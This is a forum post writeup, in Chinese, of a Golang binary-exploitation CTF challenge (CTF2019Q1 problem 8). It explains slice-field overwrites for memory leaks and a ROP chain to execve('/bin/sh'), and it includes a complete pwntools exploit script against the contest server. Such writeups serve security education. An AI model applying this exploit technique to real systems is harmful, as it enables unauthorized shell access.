首页
社区
课程
招聘
1
[原创] CTF2019Q1 第八题 挖宝 writeup
发表于: 2019-3-22 16:14 4435

[原创] CTF2019Q1 第八题 挖宝 writeup

2019-3-22 16:14
4435

google it: golang pwn

BAMBOOFOX CTF 部分 writeup # infant-gogogo 180
得知:

Seccon2017 - Golang Overflow
得知:

保护全开,google 上的参考还是固定基址比较好做

使用 IDAGolangHelper 脚本,能够解析 golang 的函数名,比较好分析

runtime_slicebytetostring 的 参数是 slice 结构

通过 gdb 尝试得到栈结构

A*192 | slice->data | slice->len | slice->cap | B*72 | ret

我们能够操纵 slice 的成员来打印任何地址,测试的时候发现 len 不能设置很大,所以代码分 2次 分别泄露 输入的名字 和 ret 的地址(walk 返回地址)

linux 下 syscall 59 是 execve,构造 rop
syscall_Syscall | 0 | 59 | /bin/sh | 0 | 0
完成调用 execve("/bin/sh", NULL, NULL)

 
 
 
struct slice
{
  char *data;
  __int64 len;
  __int64 cap;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *
import itertools
 
p = remote("211.159.175.39", 8787)
# p = process("./trepwn")
 
def move(xd, yd):
    if xd == 1:
        m = "d"
    elif xd == -1:
        m = "a"
    elif yd == 1:
        m = "w"
    elif yd == -1:
        m = "s"
 
    p.sendline(m)
 
    msg = p.recvuntil(">>")
    if "Treasure 4" in msg:
        return True
    elif "Treasure" in msg:
        # 跳过 宝藏123
        p.sendline("skip")
        p.recvuntil(">>")
 
    return False
 
def play():
    # 遍历地图
    steps = [(1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, 1),
        (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, 1),
        (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0),
 
        (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, -1),
        (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, -1),
        (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0)]
 
    # 通过 cycle 无限遍历地图直到 宝藏4
    for xd, yd in itertools.cycle(steps):
        if move(xd, yd):
            break
 
# golang 的栈基址
_stack = 0xC820000000
 
# walk 的 4个 返回偏移,w/s/a/d 4处调用
_rets = [0xD7EE9, 0xd7f48, 0xD7FCF, 0xD8036]
# syscall 利用偏移
_syscall_Syscall = 0x186600
 
import sys
 
def main():
    p.sendlineafter("name :\n", "/bin/sh")
    p.recvuntil(">>")
 
    # 玩第一次 泄露 输入的名称
    play()
 
    # 尝试 0xA000 -> 0xC000 的范围
    p.sendline("A"*192 + p64(_stack + 0xA000) + p64(0x2000) + p64(0x2000))
 
    ret = p.recvuntil(">>")
    idx = ret.find("Your message: ")
    ret = ret[idx + len("Your message: "):]
 
    # _leak_name 为栈中地址
    idx_name = ret.index("/bin/sh\0")
    _leak_name = _stack + 0xA000 + idx_name
    print hex(_leak_name)
 
    # 玩第二次 泄露 返回地址
    play()
 
    # 尝试 0x41E00 -> 0x44E00
    p.sendline("A"*192 + p64(_stack + 0x41E00) + p64(0x3000) + p64(0x3000))
 
    ret = p.recvuntil(">>")
    idx = ret.find("Your message: ")
    ret = ret[idx + len("Your message: "):]
 
    idx_ret = ret.index("A"*192)
    idx_ret += 200 + 8 + 80 # 192 + 8*3 + 72
 
    # 返回地址
    addr_ret = u64(ret[idx_ret: idx_ret+8])
    print hex(addr_ret)
 
    # 返回地址有4种,通过后3字节不变的原则来确定基址
    for r in _rets:
        if r&0xFFF == addr_ret&0xfff:
            base = addr_ret - r
            break
 
    print hex(base)
 
    # 最后玩一次输入 rop
    play()
 
    # slice->len 为 0就能跳过 runtime_slicebytetostring
    p.sendline("A"*200 + p64(0) + "B"*80 + \
        p64(base + _syscall_Syscall) + p64(0) + p64(59) + p64(_leak_name) + p64(0) + p64(0))
 
    p.interactive()
 
main()
RELRO STACK CANARY NX PIE FILE
Full RELRO Canary found NX enabled PIE enabled apwn
  • golang 的 pwn 差不多都是栈溢出 rop
  • syscall_Syscall 是栈传参很容易利用
  • golang 的栈地址比较固定(0xC820000000)
  • 讲解了如何 pass runtime_slicebytetostring 函数

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2019-3-22 16:14 被kkHAIKE编辑 ,原因:
收藏
免费 1
支持
分享
赞赏记录
参与人
雪币
留言
时间
PLEBFE
为你点赞~
2023-1-28 02:07
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册